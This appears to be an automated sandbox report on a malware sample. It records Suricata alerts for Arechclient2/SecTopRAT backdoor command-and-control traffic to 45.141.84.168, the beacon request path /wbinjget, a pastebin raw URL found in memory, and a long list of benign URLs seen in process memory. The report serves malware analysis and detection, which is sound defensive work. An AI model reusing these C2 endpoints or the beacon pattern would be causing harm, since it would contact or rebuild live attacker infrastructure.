Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABEDC5h		13_2_06ABE79D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp 06ABEDC5h		13_2_06ABEDA1

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051910 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity : 192.168.2.7:49887 -> 45.141.84.168:15647
Source: Network traffic	Suricata IDS: 2029217 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init : 45.141.84.168:15647 -> 192.168.2.7:49887
Source: Network traffic	Suricata IDS: 2052248 - Severity 1 - ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) : 192.168.2.7:49896 -> 45.141.84.168:9000

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 45.141.84.168 ports 9000,1,4,5,6,7,15647

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49896

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.7:49887 -> 45.141.84.168:15647

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: MEDIALAND-ASRU MEDIALAND-ASRU

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.2.133
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.20.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 151.101.2.133
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.20.226
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.84.168
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE HTTP/1.1Host: 45.141.84.168:9000Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: time.windows.com

Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002B94000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3266250140.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168:9000
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3260449809.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE
Source: MSBuild.exe, 0000000D.00000002.3260449809.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AE.G
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.141.84.168:9000/wbinjget?q=ABEE5D020398559D1CCC81B5F72669AEP
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000004.00000002.1996930254.000000000A941000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.000001806718E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: powershell.exe, 00000004.00000002.1996930254.000000000A941000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.000001806718E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: powershell.exe, 00000004.00000002.1994433535.0000000008C09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000004.00000002.1981936282.0000000007B54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: svchost.exe, 0000000C.00000003.2038242908.00000210CFDD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://int3.de/
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://jedwatson.github.io/classnames
Source: powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: dobi.exe, 00000007.00000002.2050527233.000001806718E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: 9VbeqQbgU4.tmp, 00000002.00000002.2177075982.00000000010FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000004.00000002.1937136728.0000000005061000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000D.00000002.3266250140.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B2E000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	String found in binary or memory: http://vovsoft.com
Source: dobi.exe, 00000007.00000000.1875791170.0000000001499000.00000002.00000001.01000000.0000000A.sdmp, dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.00000180670CF000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, svchost.exe, 0000000C.00000003.2083606999.00000210D12DE000.00000004.00000020.00020000.00000000.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B3A000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	String found in binary or memory: http://vovsoft.com/
Source: dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B2E000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	String found in binary or memory: http://vovsoft.com/blog/how-to-activate-using-license-key/open
Source: dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B3A000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	String found in binary or memory: http://vovsoft.com/blog/how-to-uninstall-vovsoft-software/
Source: dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, dobi.exe.4.dr	String found in binary or memory: http://vovsoft.com/help/
Source: dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B34000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	String found in binary or memory: http://vovsoft.comopen
Source: powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: dobi.exe, 00000007.00000002.2032606953.0000018064556000.00000004.00001000.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000002.2385507200.00000274BC0CE000.00000004.00001000.00020000.00000000.sdmp, dobi.exe.4.dr	String found in binary or memory: http://www.indyproject.org/
Source: dobi.exe, 00000007.00000002.2133818177.0000018067888000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.000000000502F000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.0000000005125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: powershell.exe, 00000004.00000002.1937136728.0000000005061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: dobi.exe, 00000007.00000002.2133818177.0000018067AB1000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000A.00000002.2196053721.0000000005077000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: svchost.exe, 0000000C.00000003.2038242908.00000210CFE29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000C.00000003.2038242908.00000210CFDD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000004.00000002.1937136728.00000000051B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/focus-trap/tabbable/blob/master/LICENSE
Source: 9VbeqQbgU4.exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: powershell.exe, 00000004.00000002.1943881761.0000000006AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: MSBuild.exe, 00000011.00000002.2451008934.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/cLika3dt
Source: MSBuild.exe, 00000011.00000002.2451008934.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/cLika3dtPO
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicon-1.ico
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_default.svg
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_docs.svg
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_presentations.svg
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_print.svg
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_sites.svg
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_social_media.svg
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_video.svg
Source: 9VbeqQbgU4.tmp, 00000002.00000003.2151405085.0000000005920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://static.canva.com/static/images/favicons/favicon_app_whiteboards.svg
Source: dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B3A000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	String found in binary or memory: https://vovsoft.com/blog/credits-and-acknowledgements/H
Source: powershell.exe, 00000004.00000002.1996930254.000000000AE61000.00000004.00000800.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.000001806718E000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1875791170.0000000001558000.00000002.00000001.01000000.0000000A.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B69000.00000020.00000001.01000000.00000012.sdmp, dobi.exe.4.dr	String found in binary or memory: https://vovsoft.com/translation/
Source: 9VbeqQbgU4.exe, 00000000.00000003.2181522833.0000000002CB3000.00000004.00001000.00020000.00000000.sdmp, 9VbeqQbgU4.tmp, 00000002.00000003.2166140812.0000000001703000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.canva.com
